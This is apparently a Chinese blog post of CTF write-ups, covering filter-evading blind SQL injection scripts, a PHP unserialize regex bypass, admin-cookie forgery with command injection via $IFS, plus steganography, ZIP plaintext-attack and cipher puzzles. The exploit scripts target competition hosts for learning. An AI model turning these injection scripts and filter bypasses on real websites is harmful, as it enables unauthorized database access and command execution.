逻辑运算符都被过滤并且like和regexp都无法使用的情况下,就需要一个小技巧between and,用between and来代替逻辑运算符。betweenand的基本用法百度可知。如果要应用到盲注中要注意一些细节
用法:

image.png

Payload由上可构造paylaod如下
?id=2 and (select (selectdatabase()) between 'a' and 'z')但是黑名单还过滤了单引号,索性,betweenand支持16进制,所以将字符改为16进制即可如下

?id=2%0aand%0a(select%0a(select%0adatabase()%0a)%0abetween%0a0x61%0aand%0a0x7a

根据payload编写爆破脚本,这里有三个脚本,不过思路都差不多

import requests
import binascii
import string
test = ',0123456789abcdefghijklmnopqrstuvwxyz{|}~'
res = ''
flag = ''
for num in range(1,500):
    for x in test:
        bet_1 = bytes(flag + x, encoding='utf-8')
        bet_2 = bytes(flag + '_',encoding='utf-8')
        #数据库 web
        #payload = "?id=2%%0aand%%0a(select%%0a(select%%0adatabase()%%0a)%%0abetween%%0a0x%s%%0aand%%0a0x%s)"%(binascii.b2a_hex(bet_1).decode(),binascii.b2a_hex(bet_2).decode())
        #爆表 admin , falggg, menu
        payload = "?id=2%%0aand%%0a(select%%0a(select%%0agroup_concat(table_name)%%0afrom%%0ainformation_schema%%0a.%%0atables%%0awhere%%0atable_schema%%0abetween%%0a0x776562%%0aand%%0a0x776562%%0a)%%0abetween%%0a0x%s%%0aand%%0a0x%s)"%(binascii.b2a_hex(bet_1).decode(),binascii.b2a_hex(bet_2).decode())
        #爆列
        #payload = "?id=2%%0aand%%0a(select%%0a(select%%0agroup_concat(column_name)%%0afrom%%0ainformation_schema%%0a.columns%%0awhere%%0atable_name%%0abetween%%0a0x666c61676767%%0aand0x666c61676767%%0a)%%0abetween%%0a0x%s%%0aand%%0a0x%s)"%(binascii.b2a_hex(bet_1).decode(),binascii.b2a_hex(bet_2).decode())
        # 爆flag 
        #payload = "?id=2%%0aand%%0a(select%%0a(select%%0aflagg%%0afrom%%0aflaggg%%0a)%%0abetween%%0a0x%s%%0aand%%0a0x%s)"%(binascii.b2a_hex(bet_1).decode(),binascii.b2a_hex(bet_2).decode())#注flag
        url = "http://101.71.29.5:10008/show.php" + payload
        row = requests.get(url)
        #print (row.text)
        if '山西' not in row.text:
            if x in '0':
                x = '_'
            flag += chr(ord(x)-1)
            break
print(flag)

import requests
import binascii
import string
baseurl = 'http://101.71.29.5:10008/show.php?id=-1'
result = ''
answer = ''
flag = 0
for i in range(100):
    if flag == 0:
        for c in range(120,32,-1):
            if c == 33:
                flag = 1
            #payload = '%0aor%0a(select%0adatabase()%0abetween%0a0x'+result+hex(c)[2:4]+'%0aand%0a0x7a)'
            #payload = '%0aor%0a(select(select%0agroup_concat(table_name)%0afrom%0ainformation_schema%0a.tables%0awhere%0atable_schema%0abetween%0a0x776562%0aand%0a0x776562)between%0a0x'+result+hex(c)[2:4]+'%0aand%0a0x7a)'
            #payload = '%0aor%0a(select(select%0agroup_concat(column_name)%0afrom%0ainformation_schema%0a.columns%0awhere%0atable_name%0abetween%0a0x666c61676767%0aand0x666c61676767)between%0a0x'+result+hex(c)[2:4]+'%0aand%0a0x7a)'
            payload = '%0aor%0a(select(select%0aflagg%0afrom%0aflaggg)between%0a0x'+result+hex(c)[2:4]+'%0aand%0a0x7a)'
            url = baseurl + payload
            a = requests.get(url)
            if '郑州烩面的价钱为10' in a.text:
                answer = answer + chr(c)
                result = result + hex(c)[2:4]
                print(result)
                break
print(answer)


最后这个是只爆flag的

# -- coding: UTF-8 -- 
import requests
import string


flag = 'flag{'
payload=flag.encode('hex')
list = string.digits+'abcdef'+'}'
for i in range(1,200):
    print (i)
    for j in range(len(list)):
        tmp1 = payload+'2f'
        tmp2 = payload+list[j].encode('hex')
        url = 'http://101.71.29.5:10008/show.php?id=if(((select%0af1agg%0afrom%0aflaggg)between%0a0x'+tmp1+'%0aand%0a0x'+tmp2+'),1,2)'
        r = requests.get(url)
        if '郑州烩面的价钱为10' in r.content:
            payload += list[j-1].encode('hex')
            print (payload.decode('hex'))
            break

MISC

1.Numeric password

打开压缩包解压后


image.png

打开txt文件、


image.png

分析题目,有两个重要提示,第一个提示是1-110个数字,第二个提示就是汉字对应相应的数字
结合标题Numeric password,百度110个数字密码,会有一份数字密码表

image.png

对比之后得到相应数字
观察发现数字范围在1895,ascii码可显示的字符范围在32126,对字符串移位,范围在20~32就可以,flag就在其中,脚本如下图所示:

content = [72,78,67,73,93,67,25,20,69,20,20,70,69,68,67,70,24,24,27,67,27,20,25,27,21,72,26,20,18,20,70,70,67,70,72,23,20,95]

flag = ""
for i in range(20,33):
    for j in content:
        flag += chr(j+i)
    print (flag)
    flag = ""
image.png

2.我的公子又在何方

image.png
image.png

但是解压时密码不对,看了下密码像base64加密,解密后解压成功,一张图片还有一个txt

image.png
image.png

百度识图发现是天仙配中的七仙女
经过一番尝试发现在StegoTool中需要输入Symmetic Key可以得到隐写内容,密码应该就是个人物名,刚开始以为是小七,试了下不对,后来有根据提示,我的公子在何方,猜测为dongyong,密码正确


image.png

得到一串字符U2FsdGVkX1+E3U0NYWvetAhb3vNfUXToWw0T0ntODmd3l1QiUuAG+6OVOPIDYf/DaCY+XtEX
应该也是经过加密的,在线解密试试,网址http://tool.oschina.net/encrypt/,尝试之后没有得到内容,试着使用密码“dongyong”在试一次,发现使用Rabbit加密算法得到flag,如下图所示:

image.png

3.大吉大利今晚吃你

打开浏览器,访问目标主机,下载附件,观看视频,没什么可用的东西
根据压缩包中的注释内容,百度得到一款工具DeEgger Embedder,如下图所示:

image.png
image.png

使用deegger-embedder还原隐藏信息,如下图:


image.png

还原出来是一个txt,看一下应该是png图片,修改后缀
得到一个图片,类似二维码

image.png

经过一番搜索发现是Maxi Code,在线识别地址https://zxing.org/w/decode.jspx,如下图:

image.png

得到flag{cevek_duvyk_hunuf_gesuf_dotyf_besif_fusif_nemyk_hexic,是一串BubbleBabble编码,尝试解码,发现有错,修改起始和结尾位置为x
因为BubbleBabble编码是以”x”开头和”x”结尾的
现在为止得到的只是flag的前半部分,使用winhex打开图片,发现结尾处有异样,如下图所示:


image.png

base64解码之后得到后半部分flag:“20526e189b2287a6}

附脚本

import bubblepy,base64

strs = "cevek_duvyk_hunuf_gesuf_dotyf_besif_fusif_nemyk_hexic"
strs = strs.replace('c','x')

flag1=str(bubblepy.BubbleBabble().decode(strs).decode('utf-8'))
flag2 = "flag{"+ flag1
flag3 = str(base64.b64decode("MjA1MjZlMTg5YjIyODdhNn0=").decode('utf-8'))

flag = flag2+flag3

print(flag)
image.png

密码学

1.仿射

这一题与仿射密码有关,可以先了解一下仿射密码
https://blog.csdn.net/qq_41725312/article/details/81067248
https://www.cnblogs.com/zishu/p/8650214.html

拿到题目,提示b=7,以及一串密码
achjbnpdfherebjsw

我不是太会仿射密码,只知道解密时需要a和b两个值,而我们只知道b的值,所以根据已知信息,跑一下a的值成功解密
自己写的脚本

from pycipher import Affine

for i in range(1,10):
    try:
        print(Affine(a=i,b=7).decipher('achjbnpdfherebjsw'))
    except:
        continue

image.png

这里有位大佬的脚本
我们知道仿射密码为

a的逆元取值范围在(1,9,21,15,3,19,7,23,11,5,17,25)

所以直接解密即可

import gmpy2
string = 'achjbnpdfherebjsw'
b=7
for i in (1,9,21,15,3,19,7,23,11,5,17,25):
    flag = ''
    for k in string:
        flag += chr(i*((ord(k)-ord('a'))-b)%26+ord('a'))
    print flag

2.好简单的密码学

这题没来的及看,附上一位大佬的WP
https://www.anquanke.com/post/id/166492#h2-6

十二月

WEB

easy

源码

<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    public $file;
    function __toString()      
    {          
        if(isset($this->file)) 
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}  
if (isset($_GET['data']))  
{ 
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }     
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?>

一看就是一道反序列化题,flag的文件名也给了,直接就尝试构造了一波序列化字符串

<?php
class baby 
{   
    public $file='flag.php';
    function __toString()      
    {          
        if(isset($this->file)) 
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
    
    
}  
$flag = new baby('flag.php');
$flag = serialize($flag);
$flag = str_replace('O:4', 'O:+4',$flag);

echo $flag;
?>

http://101.71.29.5:10007/index.php?data=O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}
结果发现不行,,这里为什么要替换4变成+4,参考了一篇大佬的题https://www.jianshu.com/p/f87052a1c5a9
与之相似,因为上面的waf----preg_match('/[oc]:\d+:/i',$data,$matches);,正则匹配正好匹配到了O:4:,因此要绕过这个,大佬给的是+4绕过,但是直接get提交不行,又想到url编码试一下,将+改为%2b还是不行,抓包修改了一下结果成功了,

image.png

这里也可以用smile大佬的方法直接fuzz,爆破一下4前面有没有可以绕过的。。


image.png

爆破发现只有%2b,也就是+4可以绕过

easyweb2

打开一个网站,抓包发现


image.png

后面有个user=dXNlcg%3D%3D,base64加密

image.png

解密后为user,可能设置了cookie为user
尝试后台可能为admin.php,然后将user改为admin进行base64,看看能不能进去
image.png

发现是可以的
然后抓包后台看看


image.png

有个cmd参数,尝试一些命令看看不能用


image.png

ls可以用,那应该其他的命令都能用了,查看根目录下的文件,发现空格被过滤了,根据以往的,有师傅用$IFS绕过空格
比如上个月做的一道ezsql


image.png

这题也可以


image.png
image.png

然后cat查看flag


image.png

MISC

MISC2签到题

替安恒打波广告
关注微信公众号安恒网络空间安全讲武堂回答问题得flag

JUJU

提示女朋友问我这11只JUJU哪只好看?(flag中的字符串md5后提交)
图片里没有11只JUJU,改个高度即可。

image.png

base32

image.png

学习资料

题目打开一个txt文件能看,另一个压缩包要密码


image.png

比较两个压缩包


image.png

其crc32值是相同的,因此可以使用明文攻击。将备忘录单独拿出来用winrar压缩为一个压缩包。然后和加密的压缩包进行明文攻击。
image.png

爆破成功后


image.png
image.png

没flag,拖动图片什么也没有,可能是word隐藏了文字


image.png

设置选项中勾选隐藏文字


image.png

也可以把word后缀改为zip,打开找word/document.xml即可

image.png
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,837评论 6 496
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,551评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,417评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,448评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,524评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,554评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,569评论 3 414
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,316评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,766评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,077评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,240评论 1 343
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,912评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,560评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,176评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,425评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,114评论 2 366
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,114评论 2 352

推荐阅读更多精彩内容